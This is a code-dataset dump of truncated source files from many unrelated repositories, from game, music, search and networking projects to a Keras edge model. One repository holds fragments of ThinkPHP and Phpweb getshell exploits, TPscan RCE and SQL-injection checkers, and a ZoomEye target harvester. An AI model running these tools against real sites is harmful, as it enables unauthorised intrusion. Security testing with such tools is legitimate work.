repo_name
stringlengths
6
97
path
stringlengths
3
341
text
stringlengths
8
1.02M
davincif/Amila-RTS
world_map/camp.py
<gh_stars>0 from world_map.camp_types import CampType from world_map.bioma_types import BiomaType class Camp(): __type = None __bioma = None def __init__(self, bioma): self.__bioma = bioma
davincif/Amila-RTS
main.py
#python imports import random #external libs imports import pygame #local imports from world_map import wmap #casting classes to easly acess world_map = wmap.world_map #information about the screen pygame.display.Info() screen_info = None #the diplay 'pygame.display.set_mode' game_display = None #game clock clock...
davincif/Amila-RTS
world_map/camp_types.py
from enum import Enum # from fuzy_prob.prob import Prob class CampType(): CAMP = 1 CAVE = 2 DOUGEON = 3 LAKE = 4 SEA = 5 AQUIFER = 6 class CampProb(): # CAMP = # CAVE = # DOUGEON = # LAKE = # SEA = # AQUIFER = pass
davincif/Amila-RTS
fuzy_prob/prob.py
from enum import Enum import random maxnum = 1000 def flit_a_coin(): return random.randint(0, maxnum) class Prob(): ALWAYS = 1000 EXTREMELY_COMMOM = 900 VERY_COMMOM = 700 COMMOM = 500 UNCOMMOM = 300 RARE = 150 VERY_RARE = 75 EXTREMELY_RARE = 40 NEVER = 0 def fuzify(self,...
manosaladata/contrataciones-estado-emergencia
R/Archivos Temp/ws.py
# -*- coding: utf-8 -*- """ Spyder Editor This is a temporary script file. """ from selenium import webdriver from selenium.webdriver.chrome.options import Options DRIVER_PATH = 'C:/chromedriver.exe' driver = webdriver.Chrome(executable_path=DRIVER_PATH) driver.get("https://apps.osce.gob.pe/perfilprov-ui/ficha/20293...
Squareys/PyDDL
src/pyddl.py
from abc import abstractmethod import math from enum import Enum __author__ = "<NAME>" __version__ = "0.1.0" class DdlPrimitiveDataType(Enum): """ Enum for primitive structure data types. For convenience use `import DdlPrimitiveDataType from pyddl as DataType` for example. """ bool = 0 i...
Squareys/PyDDL
tests/DdlTextWrterTest.py
import os import unittest from collections import OrderedDict from pyddl import DdlPrimitiveDataType as DataType from pyddl import * __author__ = "<NAME>" class DdlTextWriterTest(unittest.TestCase): def readContents(self, filename): """ Open, read the contents and then close a file. :pa...
grveek/Music
musicGV20201015-Copy1.py
<reponame>grveek/Music #!/usr/bin/env python # coding: utf-8 # In[2]: import numpy as np import pandas as pd # In[3]: half_steps_sharps = ["A","A#","B","C","C#","D","D#","E","F","F#","G","G#"] half_steps_flats = ["A","Bb","B","C","Db","D","Eb","E","F","Gb","G","Ab"] half_steps = np.arange(0,12,1) # In[4]: ke...
rystrauss/cannibals
cannibals/search/informed_search.py
"""Implementations of informed search strategies. Author: <NAME> """ from cannibals.problems import AbstractProblem from cannibals.search.base import SearchStrategy, Node from cannibals.search.frontiers import PriorityFrontier class AStarSearch(SearchStrategy): """Implementation of A* search. A* is the mos...
rystrauss/cannibals
cannibals/problems/__init__.py
<filename>cannibals/problems/__init__.py from .base import AbstractProblem
rystrauss/cannibals
setup.py
import setuptools with open('README.md', 'r') as fp: long_description = fp.read() setuptools.setup( name='cannibals', version='0.1', packages=setuptools.find_packages(), url='https://github.com/rystrauss/cannibals', license='LICENSE', author='<NAME>', author_email='<EMAIL>', descri...
rystrauss/cannibals
cannibals/problems/base.py
"""Provides the base abstract problem class, which represents a search problem. Author: <NAME> """ from abc import ABC, abstractmethod class AbstractProblem(ABC): """An abstract problem, from which all problem classes should inherit. A problem in this case is referring to a search problem that can be solve...
rystrauss/cannibals
cannibals/problems/sliding_tile/heuristics.py
"""Provides heuristic functions for the sliding tile puzzle. Author: <NAME> """ from cannibals.problems.sliding_tile import SlidingTilePuzzle def make_heuristic_fn(problem, heuristic_fn): """Makes a heuristic function for the sliding tile puzzle. This function should be used to construct the function that ...
rystrauss/cannibals
cannibals/search/__init__.py
<reponame>rystrauss/cannibals from .base import SearchStrategy from .informed_search import AStarSearch from .uninformed_search import BreadthFirstSearch from .uninformed_search import DepthFirstSearch from .uninformed_search import UniformCostSearch
rystrauss/cannibals
cannibals/problems/sliding_tile/puzzle.py
<filename>cannibals/problems/sliding_tile/puzzle.py """This module defines the sliding tile puzzle problem. Author: <NAME> """ from copy import copy from cannibals.problems.base import AbstractProblem from cannibals.problems.sliding_tile.board import Board class SlidingTilePuzzle(AbstractProblem): """Implement...
rystrauss/cannibals
cannibals/search/frontiers.py
<reponame>rystrauss/cannibals """Contains implementations of various data structures which are to be used as frontiers. Author: <NAME> """ import heapq from abc import ABC, abstractmethod from collections import deque class Frontier(ABC): """The abstract base class representing a frontier. A frontier is th...
rystrauss/cannibals
cannibals/search/base.py
"""This module contains the base components of search methods. Author: <NAME> """ from abc import ABC, abstractmethod class Node: """A node represents a single state in a search problem and is used by the graph-based search methods.""" def __init__(self, state, path_cost, estimated_cost=0.0, solution=None)...
rystrauss/cannibals
cannibals/problems/sliding_tile/__init__.py
from .board import Board from .puzzle import SlidingTilePuzzle
rystrauss/cannibals
cannibals/search/uninformed_search.py
"""Implementations of uninformed search strategies. Author: <NAME> """ from cannibals.problems.base import AbstractProblem from cannibals.search.base import Node, SearchStrategy from cannibals.search.frontiers import FIFOFrontier, LIFOFrontier, Frontier from cannibals.search.informed_search import AStarSearch def _...
rystrauss/cannibals
examples/8puzzle.py
"""This script provides an example of how to use `cannibals` on the 8-puzzle. Author: <NAME> """ from cannibals.problems.sliding_tile.heuristics import misplaced_tiles, make_heuristic_fn from cannibals.problems.sliding_tile.puzzle import SlidingTilePuzzle from cannibals.search.informed_search import AStarSearch from ...
rystrauss/cannibals
cannibals/problems/sliding_tile/board.py
<reponame>rystrauss/cannibals """Contains a class representing the board for the sliding tile puzzle. Author: <NAME> """ import math import re from copy import copy class Board: """A board of a sliding tile puzzle. This class constitutes a state of the sliding tile puzzle search problem.""" def __init...
catsaveearth/DRONE_EYE-Image-Warpping
final_Dron_Eyes.py
from tkinter import * from PIL import ImageTk, Image import cv2 import dlib import numpy as np import math from math import dist from utils import * import keyboard, time from threading import Thread from skimage import exposure w, h = 640, 480 #global variable font = cv2.FONT_ITALIC frame = None horizon = False re...
catsaveearth/DRONE_EYE-Image-Warpping
utils.py
<gh_stars>0 #201935023 김수현 from djitellopy import Tello import cv2 import time def initTello(): myDrone = Tello() myDrone.connect() myDrone.for_back_velocity = 0 myDrone.left_right_velocity = 0 myDrone.up_down_velocity = 0 myDrone.yaw_velocity = 0 myDrone.speed = 0 print("\n * Drone ...
wolcomm/rptk
test/test_queries.py
<reponame>wolcomm/rptk<filename>test/test_queries.py # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by...
wolcomm/rptk
rptk/query/native.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
test/test_cli.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
rptk/query/__init__.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
test/test_web.py
<reponame>wolcomm/rptk # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to i...
wolcomm/rptk
rptk/load.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
rptk/query/bgpq3/_sync.py
<gh_stars>10-100 # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writ...
wolcomm/rptk
test/conftest.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
test/test_loader.py
<gh_stars>10-100 # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writ...
wolcomm/rptk
rptk/api.py
<gh_stars>10-100 # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writ...
wolcomm/rptk
rptk/query/bgpq3/_async.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
rptk/command_line.py
<filename>rptk/command_line.py # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agr...
wolcomm/rptk
rptk/format/jsonf.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
rptk/base.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
rptk/format/__init__.py
<gh_stars>10-100 # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writ...
wolcomm/rptk
test/helpers.py
<gh_stars>10-100 # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writ...
wolcomm/rptk
rptk/format/yamlf.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
rptk/format/ios_null.py
<filename>rptk/format/ios_null.py # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or ...
wolcomm/rptk
rptk/web.py
<reponame>wolcomm/rptk # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to i...
wolcomm/rptk
test/test_formats.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
test/test_api.py
# Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in writing, software # d...
wolcomm/rptk
rptk/__meta__.py
#!/usr/bin/env python # Copyright (c) 2018 Workonline Communications (Pty) Ltd. All rights reserved. # # The contents of this file are licensed under the Apache License version 2.0 # (the "License"); you may not use this file except in compliance with the # License. # # Unless required by applicable law or agreed to in...
jerleo/banshee-musiccube
musiccube/analyzer.py
# Original code by: # <NAME>: Mapping Your Music Collection # http://www.christianpeccei.com/musicmap/ import numpy as np import os import struct import wave from shlex import split from subprocess import call from uuid import uuid4 class Analyzer: FEATURES_LENGTH = 42 SECONDS_PER_SONG = 90 SAMPLING...
jerleo/banshee-musiccube
musiccube/musiccube.py
<gh_stars>0 #!/usr/bin/env python # # musiccube.py # # Copyright (C) 2015 <NAME> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the right...
jerleo/banshee-musiccube
musiccube/detector.py
<reponame>jerleo/banshee-musiccube #!/usr/bin/env python ''' Simple program that uses the 'bpmdetect' GStreamer plugin to detect the BPM of a song, and outputs that to console. Requires GStreamer 1.x, PyGObject 1.x, and gst-plugins-bad Copyright (C) 2015 <NAME> This program is free software; you...
jerleo/banshee-musiccube
musiccube/numbacube.py
<reponame>jerleo/banshee-musiccube<filename>musiccube/numbacube.py<gh_stars>0 # Original code by: # <NAME>: A Kohonen Map in Python (optimized by Numba) # http://nbviewer.ipython.org/gist/alexbw/3407544 import numpy as np import os from numba import jit from progress import Progress class NumbaCube: def __i...
jerleo/banshee-musiccube
musiccube/banshee.py
<filename>musiccube/banshee.py # # banshee.py # # Copyright (C) 2015 <NAME> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to...
jerleo/banshee-musiccube
musiccube/progress.py
# # progress.py # # Copyright (C) 2015 <NAME> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, pub...
csparpa/betterzen
betterzen.py
#!/usr/bin/env python """ A revised version of the Zen of Python """ from os import linesep as newline from random import randrange _header =""" The Zen of Python, by <NAME> """ _aphorisms = [ "Beautiful is better than ugly.", "Explicit is better than implicit.", "Simple is better than complex.", "Comp...
Error1996/Attendance-System
Attendance/attendance_v2.py
import tkinter from tkinter import ttk from PIL import ImageTk, Image, ImageFilter from tkinter import messagebox from tkinter import tix import random import threading import time from Data import teachers class Login: def __init__(self): path = 'Source/unnamed.jpg' image_old = Imag...
mvmendes/rio-tiler
tests/test_io_sentinel1.py
<filename>tests/test_io_sentinel1.py """tests rio_tiler.io.sentinel1""" import os from io import BytesIO import pytest import rasterio from mock import patch from rio_tiler.errors import InvalidBandName, InvalidSentinelSceneId, TileOutsideBounds from rio_tiler.io import sentinel1 SENTINEL_SCENE = "S1A_IW_GRDH_1SDV_...
mvmendes/rio-tiler
rio_tiler/io/__init__.py
<filename>rio_tiler/io/__init__.py """rio-tiler.io"""
mvmendes/rio-tiler
rio_tiler/mercator.py
"""rio-tiler: mercator utility functions.""" import math from typing import Tuple, Union from rasterio.io import DatasetReader, DatasetWriter from rasterio.vrt import WarpedVRT from rasterio.warp import calculate_default_transform, transform_bounds from rio_tiler import constants def _meters_per_pixel(zoom: int, l...
mvmendes/rio-tiler
rio_tiler/io/sentinel1.py
<filename>rio_tiler/io/sentinel1.py """rio_tiler.io.sentinel1: Sentinel-1 processing.""" import json import os import re from concurrent import futures from typing import Any, Dict, Sequence, Tuple, Union import numpy import rasterio from boto3.session import Session as boto3_session from rasterio import transform fr...
mvmendes/rio-tiler
tests/test_io_cogeo.py
"""tests rio_tiler.base""" import os import pytest from rio_tiler import constants from rio_tiler.errors import TileOutsideBounds from rio_tiler.io import cogeo PREFIX = os.path.join(os.path.dirname(__file__), "fixtures") ADDRESS = "{}/my-bucket/hro_sources/colorado/201404_13SED190110_201404_0x1500m_CL_1.tif".forma...
mvmendes/rio-tiler
tests/test_utils.py
"""tests rio_tiler.utils""" import os import mercantile import numpy as np import pytest import rasterio from mock import patch from rio_tiler import colormap, constants, utils from .conftest import requires_webp S3_KEY = "hro_sources/colorado/201404_13SED190110_201404_0x1500m_CL_1.tif" S3_KEY_ALPHA = "hro_sources...
mvmendes/rio-tiler
rio_tiler/colormap.py
"""rio-tiler colormap functions.""" import os from typing import Dict, Sequence, Tuple import numpy EMPTY_COLORMAP: Dict = {i: [0, 0, 0, 0] for i in range(256)} def _update_alpha(cmap: Dict, idx: Sequence[int], alpha: int = 0) -> None: """Update the alpha value of a colormap index.""" if isinstance(idx, in...
mvmendes/rio-tiler
rio_tiler/io/landsat8.py
<gh_stars>0 """rio_tiler.io.landsat8: Landsat-8 processing.""" import datetime import os import re from concurrent import futures from typing import Any, Dict, Sequence, Tuple, Union from urllib.request import urlopen import numpy import rasterio from rasterio.warp import transform_bounds from rio_toa import brightne...
mvmendes/rio-tiler
tests/test_io_stac.py
<filename>tests/test_io_stac.py """tests rio_tiler.io.stac""" import json import os import pytest import rasterio from mock import patch from rio_tiler.errors import InvalidBandName, TileOutsideBounds PREFIX = os.path.join(os.path.dirname(__file__), "fixtures") with open(os.path.join(PREFIX, "stac.json")) as f: ...
mvmendes/rio-tiler
rio_tiler/io/stac.py
"""rio_tiler.io.stac: STAC reader.""" from typing import Any, Dict, Sequence, Tuple import numpy from rio_tiler import reader from rio_tiler.errors import InvalidBandName, TileOutsideBounds from rio_tiler.utils import tile_exists def _get_href(stac: Dict, assets: Sequence[str]) -> Sequence[str]: """Validate as...
mvmendes/rio-tiler
rio_tiler/io/cbers.py
"""rio_tiler.cbers: cbers processing.""" import re from typing import Any, Dict, Sequence, Tuple, Union import numpy import rasterio from rasterio.warp import transform_bounds from rio_tiler import constants, reader from rio_tiler.errors import InvalidBandName, InvalidCBERSSceneId, TileOutsideBounds from rio_tiler.u...
mvmendes/rio-tiler
rio_tiler/io/sentinel2.py
"""rio_tiler.reader.sentinel2: Sentinel-2 processing.""" import itertools import os import re from collections import OrderedDict from typing import Any, Dict, Sequence, Tuple, Union import numpy import rasterio from rasterio.warp import transform_bounds from rio_tiler import constants, reader from rio_tiler.errors ...
mvmendes/rio-tiler
rio_tiler/io/cogeo.py
"""rio_tiler.io.cogeo: raster processing.""" from typing import Any, Dict, List, Optional, Tuple import numpy import rasterio from rasterio.crs import CRS from rasterio.warp import transform_bounds from rio_tiler import constants, reader from rio_tiler.mercator import get_zooms from rio_tiler.utils import has_alpha_...
Xepp/magpie
app/process/instagram_comment_process.py
<reponame>Xepp/magpie import os import time from app.adapter.elasticsearch import ElasticsearchAdapter from app.adapter.instagram import InstagramWebAdapter from app.util.enumeration import SourceType from app.util.helper import normalize_text class InstagramCommentProcess: def __init__(self): self.ig_a...
Xepp/magpie
app/util/helper.py
<reponame>Xepp/magpie<filename>app/util/helper.py import re import string import random def get_tweet_type(tweet): if 'retweeted_status' in tweet: return 'retweet' elif 'quoted_status' in tweet: return 'quote' elif tweet.get('in_reply_to_status_id') is not None: return 'reply' ...
Xepp/magpie
app/adapter/twitter.py
<gh_stars>0 import os from tweepy import StreamListener from app.adapter.elasticsearch import ElasticsearchAdapter from app.util.enumeration import SourceType from app.util.helper import get_tweet_type from app.util.helper import normalize_text class TwitterStreamListener(StreamListener): def __init__(self): ...
Xepp/magpie
app/vo/__init__.py
<reponame>Xepp/magpie from app.vo.elasticsearch import ElasticsearchDocVO __all__ = [ ElasticsearchDocVO ]
Xepp/magpie
app/adapter/web.py
<reponame>Xepp/magpie import re import requests from bs4 import BeautifulSoup class KhabarFooriAdapter: def parse_comment(self, tag): head = tag.find('div', { 'class': 'head' }) body = tag.find('div', { 'class': 'body' }) author = head.find('span', { 'class': 'pull-right' }).text ...
Xepp/magpie
app/process/web_comment_process.py
import os import time from app.adapter.elasticsearch import ElasticsearchAdapter from app.adapter.web import KhabarFooriAdapter from app.util.enumeration import SourceType from app.util.helper import get_news_id class KhabarFooriCommentProcess: def __init__(self): self.web_adapter = KhabarFooriAdapter()...
Xepp/magpie
app/util/enumeration.py
from enum import Enum class BaseEnum(Enum): @classmethod def list(cls): return list(map(lambda c: c.value, cls)) class SentimentType(BaseEnum): POS = 'pos' NEG = 'neg' NEU = 'neu' UNK = 'unk' class SourceType(BaseEnum): TWITTER = 'twitter' INSTAGRAM = 'instagram' WEB...
Xepp/magpie
app/adapter/elasticsearch.py
from datetime import datetime from elasticsearch import Elasticsearch from app.vo import ElasticsearchDocVO from app.util.enumeration import SentimentType class ElasticsearchAdapter: def __init__(self): self.es = Elasticsearch() def insert_doc(self, index, elastic_id, source, content): doc ...
Xepp/magpie
manage.py
import os from dotenv import load_dotenv from argparse import ArgumentParser from app.util.enumeration import SourceType from app.process.twitter_stream_process import TwitterStreamProcess from app.process.instagram_comment_process import InstagramCommentProcess from app.process.web_comment_process import KhabarFooriC...
Xepp/magpie
app/adapter/instagram.py
<reponame>Xepp/magpie<gh_stars>0 import hashlib import string import random from instagram_web_api import Client class InstagramWebClient(Client): @staticmethod def _extract_rhx_gis(html): options = string.ascii_lowercase + string.digits text = ''.join([random.choice(options) for _ in range(8)...
Xepp/magpie
app/process/twitter_stream_process.py
from tweepy import OAuthHandler from tweepy import Stream from app.adapter.twitter import TwitterStreamListener class TwitterStreamProcess: def __init__(self, consumer_key, consumer_secret, access_token, access_token_secret): self.consumer_key = consumer_key self.consumer_secret = consumer_secre...
mc3273/allow-comments-on-your-page
notes.py
<gh_stars>0 # Import Librarys import urllib import os from google.appengine.api import users from google.appengine.ext import ndb from google.appengine.datastore.datastore_query import Cursor import webapp2 import jinja2 template_dir = os.path.join(os.path.dirname(__file__), 'templates') jinja_env = jinja2.Environm...
userElaina/oslab
cui1.py
import os import random rd=lambda x:(random.choice(list(range(100)))<x) s_time=[2,4,8,16,999999] _q=[list(),]*len(s_time) NT='NEXIST' RD='READY' RUN='RUNNING' IO='WAITING' END='DONE' BG='begin' _process_example={ 'name':'EXIT', 'id':0, 'total':0, 'wait':0, 'err':0, '+io':0, '-io':50, ...
userElaina/oslab
gui3.py
<reponame>userElaina/oslab import os import random import tkinter as tk from time import sleep as slp from copy import deepcopy as dcp import downs _lg='out1.csv' rd=lambda x:(random.choice(list(range(100)))<abs(x)) open(_lg,'wb') _other_1=False _other_2=False _other_3=False _other_4=False _other_5=Tru...
RishabhKT/Virtual-Keyboard-Using-Open-CV
virtual key.py
import cv2 from cvzone.HandTrackingModule import HandDetector from time import sleep import numpy as np import cvzone from pynput.keyboard import Key,Controller cap = cv2.VideoCapture(0) cap.set(3, 1280) cap.set(4, 720) detector = HandDetector(detectionCon=0.8) keys = [["Q", "W", "E", "R", "T", "Y", "U", ...
nitinprakash96/zeolearn-tut
crudapp/crudapp/views.py
<reponame>nitinprakash96/zeolearn-tut from django.shortcuts import render, redirect, get_object_or_404 from django.http import HttpResponse def home(request): html = """ <h1>Django CRUD Example</h1> <a href="/blog_posts/">Blog post CRUD example</a><br> """ return HttpResponse(html)
nitinprakash96/zeolearn-tut
crudapp/blog_posts/views.py
<gh_stars>0 # -*- coding: utf-8 -*- from __future__ import unicode_literals from django.shortcuts import render, redirect, get_object_or_404 from django.forms import ModelForm from blog_posts.models import blog_posts # Create your views here. class PostsForm(ModelForm): class Meta: model = blog_posts ...
nitinprakash96/zeolearn-tut
crudapp/blog_posts/urls.py
from django.conf.urls import url from blog_posts import views urlpatterns = [ url(r'^$', views.post_list, name='post_list'), url(r'^new$', views.post_create, name='post_new'), url(r'^edit/(?P<pk>\d+)$', views.post_update, name='post_edit'), url(r'^delete/(?P<pk>\d+)$', views.post_delete, name='post_delete'), ...
nitinprakash96/zeolearn-tut
crudapp/crudapp/urls.py
<reponame>nitinprakash96/zeolearn-tut """crudapp URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.11/topics/http/urls/ """ from django.conf.urls import url, include from django.contrib import admin from crudapp.views import home ur...
jun-test/super-guacamole
thinkphp5.0.1-automatic-getshell-master/tp_exp.py
<reponame>jun-test/super-guacamole<filename>thinkphp5.0.1-automatic-getshell-master/tp_exp.py # -*- encoding: utf8 -*- ''' Thinkphp 5.0.10 Exploit by DKing ''' import requests import base64 import re #_url = 'https://qaq.link/' #_proxies = {} #_headers = {} #_auth = ('<PASSWORD>', '<PASSW...
jun-test/super-guacamole
TPscan/plugins/thinkphp_checkcode_time_sqli.py
<filename>TPscan/plugins/thinkphp_checkcode_time_sqli.py #!/usr/bin/env python # coding=utf-8 import time import urllib import requests def thinkphp_checkcode_time_sqli_verify(url): pocdict = { "vulnname":"thinkphp_checkcode_time_sqli", "isvul": False, "vulnurl":"", "payload":"", ...
jun-test/super-guacamole
Phpweb-Getshell-py/Main.py
<filename>Phpweb-Getshell-py/Main.py # -*- coding: UTF-8 -*- # import os import requests import hashlib bdlj = os.getcwd() headers = open(bdlj+"\headers.txt",'r') headerss = headers.read() print('\b') ur = input("请输入目标网址:") requrl = ur + '/base/post.php' reqdata = {"act":"appcode"} r = requests.post(requrl,data=reqd...
jun-test/super-guacamole
TPscan/plugins/thinkphp_debug_index_ids_sqli.py
<reponame>jun-test/super-guacamole<filename>TPscan/plugins/thinkphp_debug_index_ids_sqli.py<gh_stars>1-10 #!/usr/bin/env python # coding=utf-8 import urllib import requests def thinkphp_debug_index_ids_sqli_verify(url): pocdict = { "vulnname":"thinkphp_debug_index_ids_sqli", "isvul": False, ...
jun-test/super-guacamole
TPscan/plugins/thinkphp_index_showid_rce.py
<filename>TPscan/plugins/thinkphp_index_showid_rce.py #!/usr/bin/env python # coding=utf-8 import urllib import datetime import requests def thinkphp_index_showid_rce_verify(url): pocdict = { "vulnname":"thinkphp_index_showid_rce", "isvul": False, "vulnurl":"", "payload":"", ...
jun-test/super-guacamole
TPscan/plugins/thinkphp_index_construct_rce.py
#!/usr/bin/env python # coding=utf-8 import urllib import requests def thinkphp_index_construct_rce_verify(url): pocdict = { "vulnname":"thinkphp_index_construct_rce", "isvul": False, "vulnurl":"", "payload":"", "proof":"", "response":"", "exception":"", ...
jun-test/super-guacamole
TPscan/TPscan.py
#!/usr/bin/env python # coding=utf-8 from gevent import monkey;monkey.patch_all() from gevent.pool import Pool from plugins.thinkphp_checkcode_time_sqli import thinkphp_checkcode_time_sqli_verify from plugins.thinkphp_construct_code_exec import thinkphp_construct_code_exec_verify from plugins.thinkphp_construct_debug_r...
jun-test/super-guacamole
zoomeye.py
<gh_stars>1-10 import requests import json import sys def login(): url_login='https://api.zoomeye.org/user/login' data={ "username": "你的账号", "password": "<PASSWORD>" } data = json.dumps(data) #把上面数据转换为json格式 r=requests.post(url=url_login,data=data) #获取到access_token return(json.loads(r.content)['access...
jun-test/super-guacamole
TPscan/plugins/thinkphp_request_input_rce.py
#!/usr/bin/env python # coding=utf-8 import urllib import requests def thinkphp_request_input_rce_verify(url): pocdict = { "vulnname":"thinkphp_request_input_rce", "isvul": False, "vulnurl":"", "payload":"", "proof":"", "response":"", "exception":"", } ...
jun-test/super-guacamole
TPscan/plugins/thinkphp_view_recent_xff_sqli.py
#!/usr/bin/env python # coding=utf-8 import urllib import requests def thinkphp_view_recent_xff_sqli_verify(url): pocdict = { "vulnname":"thinkphp_view_recent_xff_sqli", "isvul": False, "vulnurl":"", "payload":"", "proof":"", "response":"", "exception":"", ...
jun-test/super-guacamole
BaiDuSpider.py
<filename>BaiDuSpider.py #-*_coding:utf8-*- from bs4 import BeautifulSoup import requests import re import sys import queue import threading hea={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Connec...
jun-test/super-guacamole
TPscan/plugins/thinkphp_invoke_func_code_exec.py
#!/usr/bin/env python # coding=utf-8 import re import urllib import requests def thinkphp_invoke_func_code_exec_verify(url): pocdict = { "vulnname":"thinkphp_invoke_func_code_exec", "isvul": False, "vulnurl":"", "payload":"", "proof":"", "response":"", "excep...
jun-test/super-guacamole
TPscan/plugins/thinkphp_construct_debug_rce.py
<reponame>jun-test/super-guacamole<gh_stars>1-10 #!/usr/bin/env python # coding=utf-8 import urllib import requests def thinkphp_construct_debug_rce_verify(url): pocdict = { "vulnname":"thinkphp_construct_debug_rce", "isvul": False, "vulnurl":"", "payload":"", "proof":"", ...
sarojit2018/Deep-Edges
model.py
<filename>model.py<gh_stars>0 import numpy as np import os import skimage.io as io import skimage.transform as trans import numpy as np from keras.models import * from keras.layers import * from keras.optimizers import * from keras.callbacks import ModelCheckpoint, LearningRateScheduler from keras import backend as ker...
sarojit2018/Deep-Edges
trainer.py
<reponame>sarojit2018/Deep-Edges<filename>trainer.py<gh_stars>0 from dataloader import * from model import deepEdge import tensorflow as tf from keras.models import * from keras.layers import * from keras.optimizers import * from keras.callbacks import ModelCheckpoint, LearningRateScheduler from keras import backend ...